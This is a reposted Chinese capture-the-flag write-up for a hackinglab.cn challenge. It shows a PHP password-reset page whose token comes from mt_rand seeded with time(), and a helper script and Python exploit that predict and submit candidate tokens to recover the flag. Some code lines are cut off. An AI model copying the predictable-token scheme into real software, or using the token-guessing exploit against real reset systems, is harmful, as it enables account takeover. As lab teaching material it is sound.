小明学习代码审计writeup

转载

weixin_30609287 于 2019-07-18 18:14:00 发布 181 收藏
文章标签： php
原文链接：http://www.cnblogs.com/kevinbruce656/p/11209125.html

小明学习代码审计writeup

> 题目来自hackinglab.cn 综合关
> 题目地址：http://lab1.xseclab.com/pentest6_210deacdf09c9fe184d16c8f7288164f/index.php

访问题目地址得到如下源码：

```
Please Reset Your Password Then Get your flag!
<a href="./resetpwd.php"></a>
```

根据链接的复制访问resetpwd.php，并查看网页源码，发现注释中有PHP代码：

```
<?php
session_start();
include '_flag.php';
date_default_timezone_set('Asia/Shanghai');
if(isset($_POST['token']) && isset($_SESSION['token']) &&!empty($_POST['token'])&&!empty($_SESSION['token
    if($_POST['token']==$_SESSION['token']){
        echo "PassResetSuccess! Your Flag is:".$flag;
    }else{
        echo "Token_error!";
    }
}else{
    mt_srand(time());
    $rand= mt_rand();
    $_SESSION['token']=sha1(md5($rand));
    echo "Token Generate Ok! now send email to your EmailBox!.....";
    if(sendmymail($_SESSION['token'])){
        echo "SendOK! \r\n<br> Your password reset Token has been send to your mailbox! <br>Please Check
    };
}
echo '<form action="" method="POST">
    <input type="text" name="token">
    <input type="submit" value="submit">
</form>';
echo "<!--\r\n".file_get_contents(__FILE__);
?>
```

分析源码可知，只有得到正确的token才能得到flag。如果未提交token，直接请求resetpwd.php页面，token就会被重置。如果提交了token，token则不会改变。

代码中描述了token生成的方式，采用了随机数的方式

```
mt_srand(time());
$rand= mt_rand();
$_SESSION['token']=sha1(md5($rand));
```

根据随机数生成的规则，只要mt_srand()的参数相同，生成的随机数其实是固定的。因此我们可以编写如下exp：

辅助脚本

```
$base = time();
//设定一个时间区间，来确保可以碰撞到正确的时间
for($i = -5;$i <= 5;$i++)
{
    mt_srand($base+$i);
    $rand = mt_rand();
    echo sha1(md5($rand))."<br/>";
}
```

EXP

```
import requests
r = requests.get('http://localhost/ttt.php')
rlt = r.text.split('<br/>')
rlt = rlt[:-1]
data = {}
header  = {"Cookie":"PHPSESSID=294a9b966570ae34347a613e894d3271","Referer":"http://lab1.xseclab.com/pente
url = 'http://lab1.xseclab.com/pentest6_210deacdf09c9fe184d16c8f7288164f/resetpwd.php'
#重置token
r = requests.get(url,headers=header)

for i in rlt:
    data["token"] = i
    r = requests.post(url,data=data,headers=header)
    r.encoding = r.apparent_encoding
    if "Token_error!" not in r.text[:60]:
        print(r.text[:60])
```

得到flag

```
PassResetSuccess! Your Flag is:NotSecurityRandomNowYouKnown<
```

转载于:https://www.cnblogs.com/kevinbruce656/p/11209125.html